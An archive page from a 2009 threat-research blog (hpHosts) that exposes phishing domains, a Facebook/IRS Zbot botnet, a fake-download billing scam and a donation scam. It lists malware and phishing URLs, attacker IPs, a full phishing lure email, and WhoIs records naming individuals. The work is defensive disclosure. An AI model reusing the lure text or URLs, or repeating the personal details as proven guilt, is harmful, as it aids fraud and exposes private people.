Blog for hpHosts, and whatever else I feel like writing about ....

Friday 27 November 2009

Full Circle Magazine: Issue 31

The 31st issue of everybody’s favorite Ubuntu magazine is out! With 9.10 Karmic Koala just about a month old and the next release, Lucid Lynx, already on the horizon and in the news, take a look at what else is going on.

This month, we’ve got:

- Command and Conquer.
- How-To: Program in Python – Part 5, The Perfect Server – Part 1, and Universe of Sound.
- My Story – The Conversion.
- My Opinion – Windows 7.
- Review – Linux Mint 7.
- MOTU Interview – Andreas Wenning.
- Top 5 – Subversion Clients.
- Ubuntu Women, Ubuntu Games and all the usual goodness!

Read more
http://fullcirclemagazine.org/2009/11/27/issue-31/

Get it while it's hot!
http://fullcirclemagazine.org/issue-31/

Issues 0 - Current
http://fullcirclemagazine.org/downloads/

Forums:
http://ubuntuforums.org/forumdisplay.php?f=270

Wiki:
http://wiki.ubuntu.com/UbuntuMagazine

New Moon or New Scam?

There is a lot of buzz surrounding the “New Moon” movie. In fact, there are thousands of websites trying to lure people into watching the movie for free, from the comfort of your home. Let’s mention that the movie is still in theatres

Among those sites, there are those almost too goog to be true portals, where the movie is only a click away:


Read more
http://blogs.paretologic.com/malwarediaries/index.php/2009/11/27/new-moon/

Thursday 26 November 2009

MSN Phishing and Alliance and Leicester botnet

I wrote a while back (July, August and then again in September, about the Alliance and Leicester botnet, that served to scam the unwitting out of their banking information. Then of course, there was the MSN phishing from the Sun Network range, and later, spilled onto a botnet when myself and Jonathan, kept getting them shut down.

Now it seems, both the Alliance and Leicester, and the MSN phishing scams, could have been from the same source. Research, with the help of fellow researcher G7w (found on the Web of Trust forums), has shown another fairly new domain involved in MSN phishing, has ties both to a botnet, and to the Alliance and Leicester botnet, courtesy of historical records from Robtex (here and here).

I'm still hunting out all of the IP's involved, but the domains referenced at Robtex, not all of which still resolve, are;

alliance-leicester.3prff6suk1.com
alliance-leicester259.com
alliance-leicester588.com
alliance-leicester727.com
alliance-leicester830.com
alliance-leicester968.com
client9058426756.com
hahahohoserver.com
mybank.alliance-leicester.3prff6suk1.com
my-pictures-downloads.com
ns1.cnu1a7b8yk.com
ns1.hahahohoserver.com
ns1.my-pictures-downloads.com
ns1.woooh-i-got-your-pics.com
ns5.foolish-dns-net.com
the-breakfast-dreams.com
tw9qye1vpw.com
u86i82j3sd.com
webmaster.hahahohoserver.com
webmaster.i-tracked-who-blocked-me.com
webmaster.tw9qye1vpw.com
woooh-i-got-your-pics.com
www.mybank.alliance-leicester850.com


hpObserver results for those still resolving, can be found at;

http://hosts-file.net/misc/hpObserver_results_-_MSN_AAL_Phish.html

The owner of hahahohoserver.com, "liu wenge" (Domain Tools shows this name to be associated with 191 domains), appears to have ties to fake meds. Though it should of course be noted, that this could simply be a common name in China. One thing that is clear, is that the registrants of these phishing domains, have ties to the Alliance and Leicester botnet, and as such, a close watch is going to be required for anything new that pops up.

WhoIs details

Domain Name : woooh-i-got-your-pics.com
PunnyCode : woooh-i-got-your-pics.com
Creation Date : 2009-11-25 05:31:14
Updated Date : 2009-11-25 05:34:44
Expiration Date : 2010-11-25 05:31:12

Registrant:
Organization : Nou Rwg
Name : Nou Rwg
Address : BaoChun Rd. 675, No. 48, 1F, Apt. 0285
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176

Administrative Contact:
Name : Nou Rwg
Organization : Nou Rwg
Address : BaoChun Rd. 675, No. 48, 1F, Apt. 0285
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-10346283-10346283
Fax : 86-010-10346283-10346283
Email : 80difvf@126.com

Technical Contact:
Name : Nou Rwg
Organization : Nou Rwg
Address : BaoChun Rd. 675, No. 48, 1F, Apt. 0285
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-10346283-10346283
Fax : 86-010-10346283-10346283
Email : 80difvf@126.com

Billing Contact:
Name : Nou Rwg
Organization : Nou Rwg
Address : BaoChun Rd. 675, No. 48, 1F, Apt. 0285
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-10346283-10346283
Fax : 86-010-10346283-10346283
Email : 80difvf@126.com

**********************************************************

Domain Name : foolish-dns-net.com
PunnyCode : foolish-dns-net.com
Creation Date : 2009-10-21 16:44:37
Updated Date : 2009-11-12 21:55:33
Expiration Date : 2010-10-21 16:44:34

Registrant:
Organization : Pan Wei wei
Name : Pan Wei wei
Address : BaoChun Rd. 27, No. 3, 1F, Apt. 1903
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176

Administrative Contact:
Name : Pan Wei wei
Organization : Pan Wei wei
Address : BaoChun Rd. 27, No. 3, 1F, Apt. 1903
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-58022118-58022118
Fax : 86-010-58022118-58022118
Email : 127@126.com

Technical Contact:
Name : Pan Wei wei
Organization : Pan Wei wei
Address : BaoChun Rd. 27, No. 3, 1F, Apt. 1903
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-58022118-58022118
Fax : 86-010-58022118-58022118
Email : 127@126.com

Billing Contact:
Name : Pan Wei wei
Organization : Pan Wei wei
Address : BaoChun Rd. 27, No. 3, 1F, Apt. 1903
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-58022118-58022118
Fax : 86-010-58022118-58022118
Email : 127@126.com

**********************************************************

Domain Name : hahahohoserver.com
PunnyCode : hahahohoserver.com
Creation Date : 2009-11-19 04:01:34
Updated Date : 2009-11-21 03:03:49
Expiration Date : 2010-11-19 04:01:18

Registrant:
Organization : liu wenge
Name : liu wenge
Address : jiefanglu177hao
City : jingzhou
Province/State : jingzhou
Country : cn
Postal Code : 434000

Administrative Contact:
Name : liu wenge
Organization : liu wenge
Address : jiefanglu177hao
City : jingzhou
Province/State : jingzhou
Country : cn
Postal Code : 434000
Phone Number : 86-716-8657847
Fax : 86-716-8128558
Email : wang9619@126.com

Technical Contact:
Name : liu wenge
Organization : liu wenge
Address : jiefanglu177hao
City : jingzhou
Province/State : jingzhou
Country : cn
Postal Code : 434000
Phone Number : 86-716-8657847
Fax : 86-716-8128558
Email : wang9619@126.com

Billing Contact:
Name : liu wenge
Organization : liu wenge
Address : jiefanglu177hao
City : jingzhou
Province/State : jingzhou
Country : cn
Postal Code : 434000
Phone Number : 86-716-8657847
Fax : 86-716-8128558
Email : wang9619@126.com


There is of course, one other domain involved here, the-jheenga-dns.com. This domain was created November 25th, and it's WhoIs record;

Domain Name : the-jheenga-dns.com
PunnyCode : the-jheenga-dns.com
Creation Date : 2009-11-25 05:32:15
Updated Date : 2009-11-25 05:32:15
Expiration Date : 2010-11-25 05:32:13

Registrant:
Organization : Yay Cfu
Name : Yay Cfu
Address : BaoChun Rd. 506, No. 85, 1F, Apt. 8327
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176

Administrative Contact:
Name : Yay Cfu
Organization : Yay Cfu
Address : BaoChun Rd. 506, No. 85, 1F, Apt. 8327
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-87990875-87990875
Fax : 86-010-87990875-87990875
Email : 99qmwsl@126.com

Technical Contact:
Name : Yay Cfu
Organization : Yay Cfu
Address : BaoChun Rd. 506, No. 85, 1F, Apt. 8327
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-87990875-87990875
Fax : 86-010-87990875-87990875
Email : 99qmwsl@126.com

Billing Contact:
Name : Yay Cfu
Organization : Yay Cfu
Address : BaoChun Rd. 506, No. 85, 1F, Apt. 8327
City : Bejing
Province/State : Beijing
Country : CN
Postal Code : 100176
Phone Number : 010-010-87990875-87990875
Fax : 86-010-87990875-87990875
Email : 99qmwsl@126.com

Facebook botnet: Is your computer helping it?

I've just received several more Facebook e-mails that point to URL's hosted on a botnet, and both steal your information, load an iFrame to an exploit, and finally, offer you an "update tool", that is the well known Zbot infection.

Sadly, Outlook 2007 isn't letting my Outlook Export application work properly, so I've had to grab the IP's and such manually (well, via hpObserver ;)).

hpObserver Results
http://hosts-file.net/misc/hpObserver_Results_-_Facebook_botnet.html

The URL's

The URL in the e-mail, points to the following;

http://www.facebook.com.hyffvsr.be/usersdirectory/LoginFacebook.php?ref=4926033691635326753606845546830365677951122&email=jane@it-mate.co.uk
http://www.facebook.com.hyffvsz.be/usersdirectory/LoginFacebook.php?ref=4926033691635326753606845546830365677951122&email=jane@it-mate.co.uk
http://www.facebook.com.hyffvsa.be/usersdirectory/LoginFacebook.php?ref=2351587239519038887182277672158321779383780&email=allen@osq.co.uk
http://www.facebook.com.hyffvsf.be/usersdirectory/LoginFacebook.php?ref=2351587239519038887182277672158321779383780&email=allen@osq.co.uk
http://www.facebook.com.hyffvsb.be/usersdirectory/LoginFacebook.php?ref=57467464426814918763552441458339127080764214890&email=baldybrothersfannn@it-mate.co.uk
http://www.facebook.com.ferdasxs.be/usersdirectory/LoginFacebook.php?ref=57467464426814918763552441458339127080764214890&email=baldybrothersfannn@it-mate.co.uk


LoginFacebook.php, besides stealing your information, loads an exploit via a hidden iFrame, from;

http://193.104.27.234/sv/in.php



Wepawet results
http://wepawet.cs.ucsb.edu/view.php?hash=72212c145e1fb054a556719a8c2ab499&type=js

Once you've been exploited, and handed over your information, you're taken to;

http://www.facebook.com.hyffvsr.be/usersdirectory/MyAccount.php
http://www.facebook.com.hyffvsz.be/usersdirectory/MyAccount.php
http://www.facebook.com.hyffvsa.be/usersdirectory/MyAccount.php
http://www.facebook.com.hyffvsf.be/usersdirectory/MyAccount.php
http://www.facebook.com.hyffvsb.be/usersdirectory/MyAccount.php
http://www.facebook.com.ferdasxs.be/usersdirectory/MyAccount.php


Which claims;

In an effort to make your online experience safer and more enjoyable, Facebook will be implementing a new login system that will affect all Facebook users. These changes will offer new features and increased account security.
Before you are able to use the new login system, you will be required to update your account.
A new Facebook Update Tool has been released for your account. Please download and install the tool using the link below:


Which leads to the Zbot infection at;

http://www.facebook.com.hyffvsr.be/usersdirectory/updatetool.exe
http://www.facebook.com.hyffvsz.be/usersdirectory/updatetool.exe
http://www.facebook.com.hyffvsa.be/usersdirectory/updatetool.exe
http://www.facebook.com.hyffvsf.be/usersdirectory/updatetool.exe
http://www.facebook.com.hyffvsb.be/usersdirectory/updatetool.exe
http://www.facebook.com.ferdasxs.be/usersdirectory/updatetool.exe


The e-mail

The e-mail is of course, in HTML format originally, but the plain text (you do use plain text e-mail, right?) contains;

facebook

Dear Facebook user,

In an effort to make your online experience safer and more enjoyable, Facebook will be implementing a new login system that will affect all Facebook users. These changes will offer new features and increased account security.
Before you are able to use the new login system, you will be required to update your account.
Click here <http://www.facebook.com.hyffvsr.be/usersdirectory/LoginFacebook.php?ref=4926033691635326753606845546830365677951122&email=jane@it-mate.co.uk> to update your account online now.

If you have any questions, reference our New User Guide.

Thanks,
The Facebook Team

Update your Facebook account

Update <http://www.facebook.com.hyffvsz.be/usersdirectory/LoginFacebook.php?ref=4926033691635326753606845546830365677951122&email=jane@it-mate.co.uk>

This message was intended for jane@it-mate.co.uk.
Facebook's offices are located at 1601 S. California Ave., Palo Alto, CA 94304.


VirusTotal results
http://www.virustotal.com/analisis/adf92f1a474c566747823f2b28f5f4cee1cb819e927b1f6e24e5ca50ee527df0-1259245687

PLEASE ensure you are checking your machine for signs of infection, and if you need any help, ASK!

http://www.malwarebytes.org/forums/index.php?showforum=7
http://temerc.com/forums/viewforum.php?f=12&sid=57ac7d193ad4621fc23f78ebed2969eb

/edit

Received another one with 2 new URL's in it.

http://www.facebook.com.de11dke.be/usersdirectory/LoginFacebook.php?ref=877506342249875780348654703370389063&email=web@studiomold.co.uk
http://www.facebook.com.hyffvss.be/usersdirectory/LoginFacebook.php?ref=877506342249875780348654703370389063&email=web@studiomold.co.uk


IP's;

IP: 180.149.222.48 [Failed resolution]
IP: 120.105.18.26 [Failed resolution]
IP: 116.34.65.43 [Failed resolution]
IP: 115.240.49.243 [Failed resolution]
IP: 61.46.204.37 [zaq3d2ecc25.zaq.ne.jp]
IP: 210.112.142.61 [Failed resolution]
IP: 201.160.198.41 [201.160.198.41.cable.dyn.cableonline.com.mx]
IP: 201.68.198.81 [201-68-198-81.dsl.telesp.net.br]
IP: 201.68.34.185 [201-68-34-185.dsl.telesp.net.br]
IP: 190.53.139.62 [Failed resolution]
IP: 190.7.132.216 [static-adsl190-7-132-216.epm.net.co]
IP: 189.195.140.90 [Failed resolution]
IP: 189.105.95.34 [189105095034.user.veloxzone.com.br]
IP: 186.80.123.13 [Dynamic-IP-1868012313.cable.net.co]
IP: 186.0.43.103 [Failed resolution]
IP: 201.37.56.91 [c925385b.virtua.com.br]
IP: 190.7.132.216 [static-adsl190-7-132-216.epm.net.co]
IP: 189.195.140.90 [Failed resolution]
IP: 189.105.95.34 [189105095034.user.veloxzone.com.br]
IP: 186.80.123.13 [Dynamic-IP-1868012313.cable.net.co]
IP: 186.0.43.103 [Failed resolution]
IP: 180.149.222.48 [Failed resolution]
IP: 120.105.18.26 [Failed resolution]
IP: 116.34.65.43 [Failed resolution]
IP: 61.46.204.37 [zaq3d2ecc25.zaq.ne.jp]
IP: 41.140.42.183 [Failed resolution]
IP: 210.112.142.61 [Failed resolution]
IP: 201.160.198.41 [201.160.198.41.cable.dyn.cableonline.com.mx]
IP: 201.68.34.185 [201-68-34-185.dsl.telesp.net.br]
IP: 201.43.183.107 [201-43-183-107.dsl.telesp.net.br]


/edit 23:54

We've got some more folks. Shazza over at Web of Trust's forums, asked if I could provide any info on the IRS botnet, and during my initial analysis, I discovered (and I suspect many others have discovered before me), that the Facebook botnet is also the IRS botnet;

http://irs.gov.hyffvsr.be/fraud_application/directory/statement.php
http://irs.gov.hyffvsz.be/fraud_application/directory/statement.php
http://irs.gov.hyffvsa.be/fraud_application/directory/statement.php
http://irs.gov.hyffvsf.be/fraud_application/directory/statement.php
http://irs.gov.hyffvsb.be/fraud_application/directory/statement.php
http://irs.gov.ferdasxs.be/fraud_application/directory/statement.php
http://irs.gov.de11dke.be/fraud_application/directory/statement.php
http://irs.gov.hyffvss.be//fraud_application/directory/statement.php
http://irs.gov.kiooojn.be/fraud_application/directory/statement.php
http://irs.gov.kiooojq.be/fraud_application/directory/statement.php
http://irs.gov.kiooojx.be/fraud_application/directory/statement.php
http://irs.gov.kiooojv.be/fraud_application/directory/statement.php
http://irs.gov.kiooojz.be/fraud_application/directory/statement.php
http://irs.gov.hyffvsr.be/fraud_application/directory/tax-statement.exe
http://irs.gov.hyffvsz.be/fraud_application/directory/tax-statement.exe
http://irs.gov.hyffvsa.be/fraud_application/directory/tax-statement.exe
http://irs.gov.hyffvsf.be/fraud_application/directory/tax-statement.exe
http://irs.gov.hyffvsb.be/fraud_application/directory/tax-statement.exe
http://irs.gov.ferdasxs.be/fraud_application/directory/tax-statement.exe
http://irs.gov.de11dke.be/fraud_application/directory/tax-statement.exe
http://irs.gov.hyffvss.be//fraud_application/directory/tax-statement.exe
http://irs.gov.kiooojn.be/fraud_application/directory/tax-statement.exe
http://irs.gov.kiooojq.be/fraud_application/directory/tax-statement.exe
http://irs.gov.kiooojx.be/fraud_application/directory/tax-statement.exe
http://irs.gov.kiooojv.be/fraud_application/directory/tax-statement.exe
http://irs.gov.kiooojz.be/fraud_application/directory/tax-statement.exe
http://www.facebook.com.kiooojn.be/usersdirectory/MyAccount.php
http://www.facebook.com.kiooojq.be/usersdirectory/MyAccount.php
http://www.facebook.com.kiooojx.be/usersdirectory/MyAccount.php
http://www.facebook.com.kiooojv.be/usersdirectory/MyAccount.php
http://www.facebook.com.kiooojz.be/usersdirectory/MyAccount.php


hpObserver results
http://hosts-file.net/misc/hpObserver_Results_-_Facebook_botnet-2.html

References

Are you helping the Facebook botnet?
http://hphosts.blogspot.com/2009/11/are-you-helping-facebook-botnet.html

Sunday 22 November 2009

msbitsoftware.com + veramigos.com + Conduit = Facebook Phish!

Jonathan sent me an e-mail earlier, refering a domain involved in phishing. This particular one however, contains several interesting aspects.

Most notably, it not only asks for your Facebook credentials, it also leads to what claims to be a legit software developer, and this "legit" developer, is offering a Conduit toolbar, claiming it to be a "Facebook toolbar". msbitsoftware.com is an Israel based firm, and had it not been for this, I'd have likely considered them legit.

Anyway, getting back to it, the first page you see, is veramigos.com, shown top left. This is the page that asks for your Facebook credentials. The "Free Download" for the Facebook toolbar, leads through Google/DoubleClick adverts;

http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bm8b2LU0JS73VDMXcjQeuwqmiDvS7wI0B4u-HyA3AjbcBkIMZEAEYAyDVvtsVOABQ9rTDuAdgu66yg9AKoAGWgMvwA7IBDXZlcmFtaWdvcy5jb226AQozMzZ4MjgwX2FzyAED2gEVaHR0cDovL3ZlcmFtaWdvcy5jb20v4AEDqQK-36UwP6KRPqgDAcgDBegDigPoA-IF9QMAAACE&num=3&sig=AGiWqtzIYQnyLFpaOzrNSxwz4iJgAH1ayg&client=ca-pub-4179032962662895&adurl=http://www.msbitsoftware.com/FacebookToolbar/Google-UK-DownloadToolbar.htm%3Fdp%3D40011120068_33a_add%2520msn%2520toolbar_veramigos.com&nm=11

Which leads you to;

http://www.msbitsoftware.com/FacebookToolbar/Google-UK-DownloadToolbar.htm?dp=40011120069_72a_msn%20messenger%20toolbar_veramigos.com


This page leads to;

http://facebooktbtoolbar.ourtoolbar.com/exe

VirusTotal Analysis
http://www.virustotal.com/analisis/ff43cc83b428708fca9698025ce9ec40f370071a8513830aecd5a3e511a22b31-1258901559

Stats:

Host: veramigos.com
Current IP*: 69.175.60.242
IP PTR: server.veramigos.com
ASN: 32475 69.175.0.0/17 SINGLEHOP-INC - SingleHop

Host: msbitsoftware.com
Current IP*: 208.112.108.80
IP PTR: trunghocpleiku.com
ASN: 20021 208.112.0.0/17 LNH-INC - HostMySite

Referred to: whois.dattatec.com
By: whois.internic.net

Datttatec.com - Registration Service Provided By: Dattatec.com
Contact: +54 341 599000
Email: dominios@dattatec.com
Website: http://www.dattatec.com

Domain name: veramigos.com
Creation Date: 2009-10-14
Expiration Date: 2010-10-14

Status(es):
OK

Domain Name servers(es):
ns1.veramigos.com
ns2.veramigos.com

Registrant conatct:
Name: Ezequiel Martinez
Company: Ezequiel Martinez
Email: ezekiel.anibal.martinez@gmail.com
Address: Billingurst 1039
AR - Capital Federal ( zip: 1175 )
Phone : 54 - 1147776537

Admin conatct:
Name: Ezequiel Martinez
Company: Ezequiel Martinez
Email: ezekiel.anibal.martinez@gmail.com
Address: Billingurst 1039
AR - Capital Federal ( zip: 1175 )
Phone : 54 - 1147776537

Billing conatct:
Name: Ezequiel Martinez
Company: Ezequiel Martinez
Email: ezekiel.anibal.martinez@gmail.com
Address: Billingurst 1039
AR - Capital Federal ( zip: 1175 )
Phone : 54 - 1147776537

Tech conatct:
Name: Ezequiel Martinez
Company: Ezequiel Martinez
Email: ezekiel.anibal.martinez@gmail.com
Address: Billingurst 1039
AR - Capital Federal ( zip: 1175 )
Phone : 54 - 1147776537


Referred to: whois.tucows.com
By: whois.internic.net

Registrant:
MSBit Ltd.
7 Ha'Sadna St. P.O.B 2416
Ra'anana, NA 43650
IL

Domain name: MSBITSOFTWARE.COM

Administrative Contact:
Comfort, Ofer info@msbitsoftware.com
7 Ha'Sadna St. P.O.B 2416
Ra'anana, NA 43650
IL
+972.97486785 Fax: +972.97486786

Technical Contact:
Support, Technical support@hostmysite.com
260 Chapman Road
Suite 205
Newark, DE 19702
US
+1.3027314948 Fax: +1.0

Registrar of Record: TUCOWS, INC.
Record last updated on 24-Oct-2009.
Record expires on 23-Oct-2010.
Record created on 23-Oct-2006.

Registrar Domain Name Help Center:
http://domainhelp.tucows.com

Domain servers in listed order:
NS3.LNHI.NET
NS1.LNHI.NET
NS2.LNHI.NET

Domain status: ok

Wednesday 18 November 2009

Interesting phishing scam: Marius wants your help

I've received two of these so far, both pointing to two different domains of course, and find them rather intruiging given it's the first time I've seen this method used.

The e-mails start off pretty typical of the 419'ers, but then proceed with a link to ask for a donation - and so far, there's no additional infection involved that I can see;

E-mail 1:

Hello,

My name is Marius and I am a student at Technical University of Civil Engineering Bucharest. It is very difficult for me here because of the big amount of money needed to pay my rent. All I am requesting for you is to take 3 minutes of your time and help me with a small amount of money if it is possible and I can design a website for you if you request this.

To access my website and donate me 1 USD via PayPal click on the following link:


Access my website <http://www.cosmote.md/helpme>

Thank you,
Your help will be very much appreciated,

Marius


E-mail 2:

Dear friend,

My name is Marius and I am a student at Technical University of Civil Engineering at Bucharest. It is very difficult for me here because of the big amount of money needed to pay my rent. All I am requesting for you is to take 3 minutes of your time and help me with a small amount of money if it is possible and, in exchange for your help I can design a website for you if you request this.

To access my website and donate me 1 USD via PayPal click on the following link:


Click here to access my website <http://www.softhaven.com/helpme>
Thank you!
Your support will be very much appreciated,
Marius


Obviously the "Click here to access my website" would normally be the link, but given I only allow plain text, it's never linkified automagically ;o)

Getting back to the sites themselves, cosmote.md is actually owned by Marius Apostol according to WhoIs records, but softhaven.com looks like a hacked website (given it's hosted by BlueHost, this isn't surprising).

The actual content is as shown in the following screenshots;

cosmote.md and cosmote.md/helpme


softhaven.com/helpme


In both cases, the source code shows the payment goes to Marius Apostol at ebagabontu@yahoo.com. Whether or not this is a compromised account or his own, is at this point, unknown.

WhoIs records for cosmote.md are annoyingly, vague as far as registrant information, but do of course, give us the owners name (or at least, the name they gave to the registrar);

Checking server [whois.nic.md]
Results:
Domain name: cosmote.md
Registrant: Marius Apostol
Created: 2008-01-10
Expiration date: 2010-01-10
Name server: ns1.sqweebs.com 174.36.230.4
Name server: ns2.sqweebs.com 174.36.230.6
DNS update: 2009-09-28 18:37


I double checked the WhoIs using various different sources, to try and get more information, but alas, nic.md is returning only the above it seems.

It's currently hosted at SoftLayer;

IP: 174.36.230.6
IP PTR: 174.36.230.6-static.reverse.softlayer.com
ASN: 36351 174.36.192.0/18 SOFTLAYER - SoftLayer Technologies Inc

Needless to say, if you receive one of these, DELETE IT!

If ya want my money, 'an' ya think I'm gullible, c'mon Saphie scam me now!

Okay, so I completely ruined what used to be a great Rod Stewart song - but it's been worth it. I was alerted by my friend Dee Hughes over at Freeware Home, of a rogue domain one of her visitors came across during a Google search for Outlook Express that led via the Sponsored results (surprise surprise) to expressdownloadz.com (see left).

She asked if I could dig up anything on this domain as she'd not found any contact information or anything that would help her take it down. Naturally I offered to help (I do love exposing these scheming wan**rs). Off I trotted to expressdownloadz.com, and low and behold, instantly identified the type of scam, and thus, how to track it.

expressdownloadz.com is identical to thousands of other itty bitty phishy sites out there, and it's stats are as follows;

IP: 72.10.171.202
IP PTR: Resolution failed
ASN: 36666 72.10.168.0/22 GTCOMM - GloboTech Communications
Created: October 19th 2009

It's WhoIs record is hidden, but I doubt it's actually accurate either way (impossible to tell obviously, as Domains By Proxy aren't exactly going to hand over the information without a court order).

There are a plethora of other malicious domains within this /24, and given how long some of them have been there, I'm guessing GloboTech couldn't give a hoot aslong as they keep paying their bills;

0-antivirus.org
11-download.com
2009-download.org
6-download.com
9-digital-media.net
9-downioad.com
9-download.org
9-reloaded.com
antivirusbox-online.net
antivirusguardian.com
anti-virus-guardian.com
antivirus-pro.info
anti-virus-tech.com
antivirus-zone.net
avg-antivirus.biz
bytes-d0wnload.com
cast-download.com
castdownload.org
d0wnloadz.org
digital-media-pro.net
divx-top.net
dj-download.org
download-openoffice.org
dvdshrinkonline.com
earth-d0wnload.com
express6-download.com
expressd0wnload.com
express-d0wnload.com
express-d0wnloadz.com
express-download.org
expressdownloadz.com
free-antivirus-software.org
free-download-place.org
free-zonealarm.com
gtdominicana.com
guide-assurance.com
java-download.info
java-free.org
liens-emule.com
mail.gtdominicana.com
mail-download.info
mail-downloads.com
mail-program.com
mail-software.info
messenger2009.org
messenger-9.org
messenger9-d0wnload.com
movie-maker-pro.com
openofficedownload.org
openofficefree.org
open-office-software.org
place4friends.com
quick-downloads.org
registrycleaners-top-pick.com
secure-antivirus.net
software500.com
virtualdj-download.com
vista-ready.com
www.0-antivirus.org
www.11-download.com
www.2009-download.org
www.6-download.com
www.9-digital-media.net
www.9-downioad.com
www.9-download.org
www.9-reloaded.com
www.antivirusbox-online.net
www.antivirus-d0wnload.com
www.antivirusguardian.com
www.anti-virus-guardian.com
www.antivirus-pro.info
www.anti-virus-tech.com
www.antivirus-zone.net
www.avg-antivirus.biz
www.bytes-d0wnload.com
www.cast-download.com
www.castdownload.org
www.d0wnloadz.org
www.digital-media-pro.net
www.divx-top.net
www.dj-download.org
www.download-openoffice.org
www.dvdshrinkonline.com
www.earth-d0wnload.com
www.express6-download.com
www.expressd0wnload.com
www.express-d0wnload.com
www.express-d0wnloadz.com
www.express-download.org
www.expressdownloadz.com
www.free-antivirus-software.org
www.free-download-place.org
www.free-zonealarm.com
www.gtdominicana.com
www.guide-assurance.com
www.java-download.info
www.java-free.org
www.liens-emule.com
www.mail-download.info
www.mail-downloads.com
www.mail-program.com
www.mail-software.info
www.messenger2009.org
www.messenger-9.org
www.messenger9-d0wnload.com
www.movie-maker-pro.com
www.openofficedownload.org
www.openofficefree.org
www.open-office-software.org
www.place4friends.com
www.quick-downloads.org
www.registrycleaners-top-pick.com
www.secure-antivirus.net
www.software500.com
www.virtualdj-download.com
www.vista-ready.com


If you're unlucky enough to believe what expressdownloadz.com are "offering", then you're taken from there, to;

freedownloadzone.com/join.php?s=Outlook Express&kw=outlook express&t=outlook-express_w2&si=index.php&ml=12&d=Expressdownloadz.Com&dn=Expressdownloadz.Com&TargetSite=FDZ&lp=default

freedownloadzone.com is the site that asks you to create an "account", and asks for your payment information, entering this of course is a majorly bad idea, but lets carry on regardless.




Notice where you are yet? That's right folks .... you're now at;

https://secure.cardtransaction.com/icc-rs/order2.asp?ref=Expressdownloadz.Com&d=Expressdownloadz.Com&id=&t=outlook-express_w2

secure.cardtransaction.com has a DCV certificate from RapidSSL. Both this domain, and freedownloadzone.com are located on the same IP block, 70.33.253.0/24, which is owned by Peer1. Not surprisingly, this also houses a plethora of other similar domains, including;

2009-anti-virus-download.com
2009-antivirus-download.com
2009-edition.org
2009-version.info
5-anti-virus.info
5-antivirus-download.com
8-anti-virus-download.com
antivirus-1.info
anti-virus-1.org
antivirus-center.org
anti-virus-removal.info
anti-virus-solution.org
burning-programs.com
dealsmint.com
download-all-free.com
downloaditfree.net
flash-player-10.org
free-antivirus2009.com
free-anti-virus-software.com
full-edition.info
get-flash-player-10.com
get-muzic.com
itunes-8.com
itunes-muzic.com
mp3sharinghq.net
musicmembersarea.com
muzic-share.com
open-office-2009.com
open-office-download.org
open-office-pro.com
open-office-software.com
org-eng.info
pdf-platinum.info
personal-antivirus.org
popupremoval.com
share-free.info
vlc-software.com
wire2009.com
www.2009-anti-virus-download.com
www.2009-antivirus-download.com
www.2009-edition.org
www.2009-version.info
www.5-anti-virus.info
www.5-antivirus-download.com
www.8-anti-virus-download.com
www.antivirus-1.info
www.anti-virus-1.org
www.antivirus-center.org
www.anti-virus-removal.info
www.anti-virus-solution.org
www.burning-programs.com
www.dealsmint.com
www.download-all-free.com
www.downloaditfree.net
www.flash-player-10.org
www.free-antivirus2009.com
www.free-anti-virus-software.com
www.full-edition.info
www.get-flash-player-10.com
www.get-muzic.com
www.itunes-8.com
www.itunes-muzic.com
www.mp3sharinghq.net
www.musicmembersarea.com
www.muzic-share.com
www.open-office-2009.com
www.open-office-download.org
www.open-office-pro.com
www.open-office-software.com
www.org-eng.info
www.pdf-platinum.info
www.personal-antivirus.org
www.share-free.info
www.vlc-software.com
www.wire2009.com


Getting on. The addresses you'll notice at the bottom of these sites, is;

Saphie Number1
Third Floor, Conway House
7-9 Conway Street
St Helier
Jersey, JE2 3NT

What you'll not know, is that this address is NOT the actual address for Saphie Number1. It's a "drop box" of sorts. It works by having someone in Jersey, allow companies to have mail sent to their address (saving their having to pay UK tax from what I've been told). These people are then paid by the companies, a percentage, to forward the mail to the company, once it arrives.

However, there's another address involved. The "company" that appears on your bill when you've handed over your payment information, is helpmedownload.com. Popping over there, the address they provide as their "Correspondence address" is;

Saphie Number One Limited
26 York Street
London W1U 6PZ, UK

This is the same address as is provided in the cardtransaction.com WhoIs records, but nope - it's not their real address either. This address belongs to, how did he put it, a "call answering service", run by a company called "Sage Systems" (26 York Street is Sage Systems HQ). Interestingly, I couldn't find anything on Sage Systems at that address, but did find a Virtual Office company called W1Office at that address.

Virtual Office
Communications House
26 York Street
London
W1U 6PZ
Sales: 020 7788 7788
Service: 020 7788 7878

Head Office
43-45 Portman Square
London
W1H 6HN
Sales: 0845 000 7788
Service: 0845 000 7878

W1 Office
Company Name: W1 Office Limited
Company Number: 05303127
Vat Number: 853 55 00 32
Data Protection: Z895601X
Royal Mail: PB003216
City of Westminster: 044

Registered Address
26 York Street
London
W1U 6PZ


I called them up to ask about Sage Systems and was told;

"it may be one of our clients"

I told W1Office what was going on, and they're apparently going to look into it. They also provided me with the number of the person that created the account with them but unfortunately, it turned out to be a fax number, not a telephone number (0207 068 5500).

Helpmedownload.com have their own "main" website too (Saphie Number1 = Helpmedownload.com), which provides the following contact information;

USA

Billing & Tech Support:

1-866-730-0934
1-888-527-9381

UK

Billing & Tech Support:

0808 238 0026
0808 238 0045

Canada

Billing & Tech Support:

1-866-730-0934

Australia

Billing & Tech Support:

1-800-469-290
1-800-146-928
1-800-357-380

All other

Billing & Tech Support:

1-866-978-4842


I've now been on the phone with one of their reps for around 30 mins or so, and they're still trying to tell me the process is simple, easy to understand, clear as far as what they're charging for, and they're thus, not scamming people. Couldn't explain however, why for example, the "3 step process", tries to charge for support and such TWICE.

